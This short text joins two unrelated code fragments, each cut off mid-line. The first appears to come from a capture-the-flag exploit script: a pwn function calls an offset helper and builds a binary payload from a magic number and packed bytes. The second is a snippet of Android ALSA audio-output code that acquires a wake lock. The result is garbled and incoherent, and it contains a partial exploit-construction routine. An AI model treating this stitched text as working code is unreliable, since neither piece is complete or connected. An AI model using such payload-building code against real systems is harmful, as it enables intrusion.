read(1) return flag def pwn(io): result = do_command("./get_offset 0") payload = "" payload += l32(0x78563412)#magic number for i in range(4): payload += l8(0x1) + l8(0x0) + l8(0x2) payload = payload.ljust(16*2,
ssize_t AudioStreamOutALSA::write(const void *buffer, size_t bytes) { AutoMutex lock(mLock); if (!mPowerLock) { acquire_wake_lock (PARTIAL_WAKE_LOCK, "AudioOutLock"); mPowerLock = true; } acoustic_device_t *aDev = acoustics(); // For output, we will pass the data on to the ...